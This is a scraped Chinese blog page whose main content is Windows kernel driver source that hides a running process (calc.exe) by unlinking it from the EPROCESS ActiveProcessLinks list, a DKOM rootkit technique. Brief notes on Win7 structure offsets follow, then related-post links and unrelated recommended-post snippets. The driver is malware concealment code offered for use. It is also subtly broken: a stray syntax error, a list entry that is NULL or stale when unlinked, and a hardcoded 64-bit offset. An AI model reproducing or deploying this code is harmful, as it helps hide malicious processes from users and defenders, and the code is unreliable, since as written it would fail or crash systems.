HideProcess
#ifndef CXX_HIDEPROCESS_H
# include "HideProcess.h"
#endif #ifdef _WIN64
#define ActiveProcessLinksOffset_EPROCESS 0x188
#define ImageFileNameOffset_EPROCESS 0x2e0
#else
#define ActiveProcessLinksOffset_EPROCESS 0x088
#define ImageFileNameOffset_EPROCESS 0x174
#endif NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegisterPath)
{ //卸载当前驱动例程
DriverObject->DriverUnload = UnloadDriver;
HideProcess("calc.exe");
return STATUS_SUCCESS;
} VOID UnloadDriver(PDRIVER_OBJECT DriverObject)
{ } VOID HideProcess(char* szProcessName)
{ PLIST_ENTRY ListEntry = NULL;
PEPROCESS EProcess = NULL;
char* szName = NULL;
PEPROCESS TravelEProcess = NULL;
PEPROCESS BadEProcess = NULL;
EProcess = IoGetCurrentProcess(); // System.exe if (szProcessName==NULL)
{
return;
}
if (EProcess==NULL)
{
return;
}
TravelEProcess = EProcess; BadEProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcess+ActiveProcessLinksOffset_EPROCESS+)))-0x188); do
{ if (TravelEProcess!=BadEProcess)
{
szName = (char*)((ULONG_PTR)TravelEProcess+ImageFileNameOffset_EPROCESS); //Next
DbgPrint("%s\r\n",szName); if (strstr(szName,szProcessName)!=NULL)
{
RemoveEntryList(ListEntry); // break;
}
} TravelEProcess = (PEPROCESS)((*(ULONG_PTR*)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS))-ActiveProcessLinksOffset_EPROCESS);
ListEntry = (PLIST_ENTRY)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS);
}while (TravelEProcess!=EProcess);
}
代码
使用断链操作隐藏进程
win7:
0x188 处 _LIST_ENTRY 一个16位的结构体
0x2e0处存储进程名称
winxp同理
HideProcess的更多相关文章
- 【windows核心编程】HideProcess
A Basic Windows DKOM Rootkit Pt 1 https://www.landhb.me/posts/v9eRa/a-basic-windows-dkom-rootkit-pt- ...
- 遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程
1.EPROCESS结构体 EPROCESS块来表示.EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针.例如每一个进程里面都至少有一个ETHREAD块表示的线程 ...
- zzzz
using System; using System.Collections.Generic; using System.Diagnostics; using System.Management; u ...
- WCF全双工数据传输
项目结构: 客户端: using System; using System.Collections.Generic; using System.Linq; using System.Text; usi ...
- ----------- Rootkit 核心技术之绕过 IopParseDevice() 调用源检测逻辑 ---------------
---------------------------------------------------------------- 在上一篇文章中,我们已经看到 IopParseDevice() 如何对 ...
- Driver 01 进程隐藏
大二时候的代码以及笔记,当时暂时记录在QQ上在,现在发出来分享一下. 为了写驱动装一大堆的软件插件啥的,还常常失败. 这里就顺带总结下SDK下载和WinDbg symbol路径设置正确WinDbg却总 ...
- ring0 进程隐藏实现
最近在学习内核编程,记录一下最近的学习笔记. 原理:将当前进程从eprocess结构的链表中删除 无法被! process 0 0 看见 #include "HideProcess.h&qu ...
- Win64 驱动内核编程-21.DKOM隐藏和保护进程
DKOM隐藏和保护进程 主要就是操作链表,以及修改节点内容. DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体,不同的系统用的时候注意查下相关定义,确定下偏移,下面的数据是以win7 ...
随机推荐
- spring 好处与优点
使用Spring有什么好处?(1)Spring能有效地组织你的中间层对象.(2)Spring能消除在许多工程中常见的对Singleton的过多使用.(3)Spring能消除各种各样自定义格式的属性文件 ...
- Python学习笔记12—类
典型的类和调用方法: #!/usr/bin/env Python # coding=utf-8 __metaclass__ = type #新式类 class Person: #创建类 def __i ...
- 什么是Plist文件
直接将数据直接写在代码里面,不是一种合理的做法.如果数据经常改,就要经常翻开对应的代码进行修改,造成代码扩展性低 因此,可以考虑将经常变的数据放在文件中进行存储,程序启动后从文件中读取最新的数据.如果 ...
- C++ 多线程中的一个抛出异常
试了一下,和Java完全不同. 注意Java和C++对于多线程里面的一个线程抛出异常的影响,完全不同. Java里面,对于主线程和其他线程完全不受影响: C++里面,整个程序会退出,所有线程都会受影响 ...
- Java Socket编程----通信是这样炼成的
Java最初是作为网络编程语言出现的,其对网络提供了高度的支持,使得客户端和服务器的沟通变成了现实,而在网络编程中,使用最多的就是Socket.像大家熟悉的QQ.MSN都使用了Socket相关的技术. ...
- OpenGL的gluLookAt观察变换函数详解
void gluLookAt(GLdouble eyex, GLdouble eyey, GLdouble eyez, GLdouble center ...
- javascript强制转换详解
转换成数值 Number函数强制转换成数值 数值->转换成原来的值 字符串->如果可以解析为数值,则转换成数值:否则转换成NaN或者0 true->1,falSe->0 und ...
- R统计建模与R软件
教材目录 第一章 概率统计的基本知识 第二章 R软件的使用 第三章 数据描述性分析 第四章 参数估计 第五章 假设检验 第六章 回归分析 第七章 方差分析 第八章 应用多元分析(I) 第九章 应用多元 ...
- libsvm-3.21使用文档
Libsvm is a simple, easy-to-use, and efficient software for SVM classification and regression. (可用于分 ...
- 可视化工具之 IGV 使用方法
整合基因组浏览器(IGV)是一种高性能的可视化工具,用来交互式地探索大型综合基因组数据.它支持各种数据类型,包括array-based的和下一代测序的数据和基因注释. IGV这个工具很牛,发了NB: ...